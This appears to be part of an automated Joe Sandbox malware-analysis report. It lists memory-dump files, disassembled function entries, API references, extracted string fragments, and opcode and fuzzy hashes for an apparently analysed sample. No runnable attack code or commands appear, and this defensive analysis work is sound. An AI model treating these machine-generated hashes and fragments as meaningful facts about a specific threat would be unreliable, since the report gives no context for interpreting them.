Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 82555faede864747760481a622e0d696d8c176619825d031b7d7445f88d1db72
Instruction ID: 0705d5f4eed7cf83e7690fcc147bf0d089aa460deb5c04913889ba378db24217
Opcode Fuzzy Hash: 82555faede864747760481a622e0d696d8c176619825d031b7d7445f88d1db72
Instruction Fuzzy Hash: 7111A4B8240208AFEB11CF64D895FAA77B5FB89714F208058FA199F3C4C7B6A901CB50

Function 013D6BC8 Relevance: 5.0, Strings: 3, Instructions: 1229COMMON

Download Yara Rule

Strings

~^?, xrefs: 013D797F
-2 T, xrefs: 013D7077
tX, xrefs: 013D7A26

Memory Dump Source

Source File: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID:
String ID: -2 T$~^?$tX
API String ID: 0-1300624555
Opcode ID: fb56b83bde38d8c8fefad0324cb99c5b450e452aab747a97a30f3cd0bef3030e
Instruction ID: 6a0e3738893779c9889c226c3cc2bfd0a4ca4d3ac7dce67580159fb34f988099
Opcode Fuzzy Hash: fb56b83bde38d8c8fefad0324cb99c5b450e452aab747a97a30f3cd0bef3030e
Instruction Fuzzy Hash: 0C82F7F390C6049FE3046E29EC8567AFBE9EF94720F16892DEAC5C3744EA3558058793

Function 6C606CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C606D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C606E1E

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 9a5322796db00c5436d4d71ef8217100cbea9abd617bdd2e7fdec6a9f97f10ff
Instruction ID: 6f1aada7e48c7730b00fd70403c2b65579dce0f29b24559aed90b62e0cae2127
Opcode Fuzzy Hash: 9a5322796db00c5436d4d71ef8217100cbea9abd617bdd2e7fdec6a9f97f10ff
Instruction Fuzzy Hash: F7A180706183818FC719CF25C5907AEFBE2BF89308F44491DE88A97B51DB70E849CB96

Function 01013720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0101E118,00000000,00000001,0101E108,00000000), ref: 01013758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 010137B0

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 47ffcb4e74386ccd04f8d7fa096ab2b175255c536a2016891e72a0ef228a3f5b
Instruction ID: 7f92b8bb95c06ca9a372be9fc055a1ef10e2c40b8cc1cbe940197c0cad6fde46
Opcode Fuzzy Hash: 47ffcb4e74386ccd04f8d7fa096ab2b175255c536a2016891e72a0ef228a3f5b
Instruction Fuzzy Hash: 7B410974A40A289FDB24DB58CC95BDBB7B4BB48702F4041D8E609AB2D4D7716EC5CF50

Function 013DD08D Relevance: 4.1, Strings: 2, Instructions: 1616COMMON

Download Yara Rule

Strings

1_, xrefs: 013DE0B0
FXv, xrefs: 013DDD75

Memory Dump Source

Source File: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID:
String ID: FXv$1_
API String ID: 0-1212116244
Opcode ID: 3e6a8e0d28d288ddd453a211104cb7729ac43f3fcfa2a6e72f58107212f7cda6
Instruction ID: bc1c7b5547b7d9800f5c78b8a31548b59513081a2758f35e5bdbed19a34d609c
Opcode Fuzzy Hash: 3e6a8e0d28d288ddd453a211104cb7729ac43f3fcfa2a6e72f58107212f7cda6
Instruction Fuzzy Hash: D3B218F36082049FE304AE2DEC8567ABBE9EF94320F1A893DE6C4C7744E63558458797

Function 6C6285F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C628C7C
__aulldiv.LIBCMT ref: 6C628DD7

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 19ffe008ecafb52648a9776aebf0e11e60013f91cc70665a021739d132c0b744
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 7E327372F011198BDF18CE9CC8A1BAEB7B2FB88304F15853AD506BB7A0D6385D458F95

Function 0129B5DA Relevance: 2.7, Strings: 2, Instructions: 185COMMON

Download Yara Rule

Strings

a2oo, xrefs: 0129B644
sh0, xrefs: 0129B704

Memory Dump Source

Source File: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID:
String ID: a2oo$sh0
API String ID: 0-878706693
Opcode ID: 9f73e8c2e18148f02b539af90d16f743b1c5e35e6967a4a2af806fb0ffad4151
Instruction ID: 6ea99b017f086b16a7a32d693136d32be9fd1afd4ee8a6c8e3c9368c939b209c
Opcode Fuzzy Hash: 9f73e8c2e18148f02b539af90d16f743b1c5e35e6967a4a2af806fb0ffad4151
Instruction Fuzzy Hash: FB5126B3A082045FF304AE3DDD4577AB7E6DBD4310F2AC53DEA84D3744E938984A4696

Function 012F5084 Relevance: 2.7, Strings: 2, Instructions: 167COMMON

Download Yara Rule

Strings

8!, xrefs: 012F50A8
BM~, xrefs: 012F5186

Memory Dump Source

Source File: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 8!$BM~
API String ID: 0-997117637
Opcode ID: 79d602ee6cda7881a60661ae63a01e6d30a2d43c39f2c2d1d9f131c120e62331
Instruction ID: 8838ca272f1f86c936db89751253d8d3e8a7100fba2ea5a3c0d138fef203b33a
Opcode Fuzzy Hash: 79d602ee6cda7881a60661ae63a01e6d30a2d43c39f2c2d1d9f131c120e62331
Instruction Fuzzy Hash: 7E5169F3A082105BE3045E2DED8477AF7DAEFC4320F5A853EE9C9C7748E97448018696

Function 6C605C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C5D4A63,?,?), ref: 6C605F06

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 52f0fd8201af3482fae850519b85c674c2db3986549c8bf5f4599487d02f73ed
Instruction ID: 68341ea4aced98efbe536f7db206bc722c2521dc640a5740f907d79e7ea94445
Opcode Fuzzy Hash: 52f0fd8201af3482fae850519b85c674c2db3986549c8bf5f4599487d02f73ed
Instruction Fuzzy Hash: 79C19E75E012098BCB08CF55C6906DEBBF2FF8A318F288159D8557BB44D731A806CF98

Function 014A0A1B Relevance: 1.5, Strings: 1, Instructions: 249COMMON

Download Yara Rule

Strings

i'm, xrefs: 014A0B84

Memory Dump Source

Source File: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID:
String ID: i'm
API String ID: 0-3484297590
Opcode ID: e29543596587b5e5cc543cf0a6248f976297f8734617fca5159bc46af3ac9435
Instruction ID: 437e00a0cfca9c92afc9acc4661056f28c6c151fb3c55be6b2d4ce556ed037e9
Opcode Fuzzy Hash: e29543596587b5e5cc543cf0a6248f976297f8734617fca5159bc46af3ac9435
Instruction Fuzzy Hash: 2171BAF390C711DFD304AE299D9453ABAE4EBB4214FA3462FF9C297764E57058078283

Function 01381FD5 Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

1bw^, xrefs: 01382139

Memory Dump Source

Source File: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 1bw^
API String ID: 0-3459107924
Opcode ID: e6958269b9f7f080c38a4e7a8aa45353ad7e702f81f06acc1f16f9f0db6ef0f7
Instruction ID: 8f1f783777490a6228f9e238ed0a5f787ed90f6f9889d9e16dbf1d7d8afd4d63
Opcode Fuzzy Hash: e6958269b9f7f080c38a4e7a8aa45353ad7e702f81f06acc1f16f9f0db6ef0f7
